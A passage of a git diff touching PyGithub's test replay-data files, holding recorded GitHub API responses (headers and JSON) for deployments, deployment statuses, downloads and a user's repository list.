'*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FAE4:B35A:2F85BC:3B31FE:5F464E9F')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","id":263877258,"node_id":"MDEwOkRlcGxveW1lbnQyNjIzNTE3NzY=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{"test":true},"original_environment":"test","environment":"test","description":"Test deployment","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2020-08-26T11:44:53Z","updated_at":"2020-08-26T11:44:53Z","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","transient_environment":true,"production_environment":false,"performed_via_github_app":null} - diff --git a/tests/ReplayData/DeploymentStatus.setUp.txt b/tests/ReplayData/DeploymentStatus.setUp.txt index 2d70f3a923..e3bf8dea69 100644 --- a/tests/ReplayData/DeploymentStatus.setUp.txt +++ b/tests/ReplayData/DeploymentStatus.setUp.txt @@ -41,4 +41,3 @@ None 200 [('Date', 'Wed, 26 Aug 2020 15:21:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"4a3364322a1520ff4e5f653604babb37"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json, github.flash-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F2CC:BB63:162D4DD:1AAC62A:5F467DFB')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671","id":388454671,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T14:32:51Z","updated_at":"2020-08-26T14:32:51Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null} - diff --git a/tests/ReplayData/DeploymentStatus.testCreate.txt b/tests/ReplayData/DeploymentStatus.testCreate.txt index 1c96ceb851..2b81df6794 100644 --- a/tests/ReplayData/DeploymentStatus.testCreate.txt +++ b/tests/ReplayData/DeploymentStatus.testCreate.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Wed, 26 Aug 2020 14:32:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1552'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"86b65a5a8504b28bce61cbc84bb1023c"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671'), ('X-GitHub-Media-Type', 'github.flash-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DFAC:B502:5B7999:709827:5F467293')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671","id":388454671,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T14:32:51Z","updated_at":"2020-08-26T14:32:51Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","performed_via_github_app":null} - diff --git a/tests/ReplayData/DeploymentStatus.testGetStatuses.txt b/tests/ReplayData/DeploymentStatus.testGetStatuses.txt index 456f464acc..d59f0979fd 100644 --- a/tests/ReplayData/DeploymentStatus.testGetStatuses.txt +++ b/tests/ReplayData/DeploymentStatus.testGetStatuses.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Wed, 26 Aug 2020 15:21:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"89aab15a8e4351a44a8c57e8fd0e3c27"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json, github.flash-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE06:B35A:8DB284:B0D955:5F467DFB')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671","id":388454671,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T14:32:51Z","updated_at":"2020-08-26T14:32:51Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null},{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388433743","id":388433743,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0MzM3NDM=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T13:56:31Z","updated_at":"2020-08-26T13:56:31Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null},{"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388432880","id":388432880,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0MzI4ODA=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T13:55:06Z","updated_at":"2020-08-26T13:55:06Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null}] - diff --git a/tests/ReplayData/Download.setUp.txt b/tests/ReplayData/Download.setUp.txt index bbc4408719..ab61c9d16d 100644 --- a/tests/ReplayData/Download.setUp.txt +++ b/tests/ReplayData/Download.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '290'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6d8a8b9509b1686543a96ec3c58b0293"'), ('date', 'Tue, 22 May 2012 19:03:36 GMT'), ('content-type', 'application/json; charset=utf-8')] {"content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","size":1024,"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt","id":242550} - diff --git a/tests/ReplayData/Download.testDelete.txt b/tests/ReplayData/Download.testDelete.txt index 85afa3aadd..c9596f71d2 100644 --- a/tests/ReplayData/Download.testDelete.txt +++ b/tests/ReplayData/Download.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4950'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 19:16:03 GMT')] - - diff --git a/tests/ReplayData/Enterprise.testHttp.txt b/tests/ReplayData/Enterprise.testHttp.txt index a1657a9531..4d371f5c9b 100644 --- a/tests/ReplayData/Enterprise.testHttp.txt +++ b/tests/ReplayData/Enterprise.testHttp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68d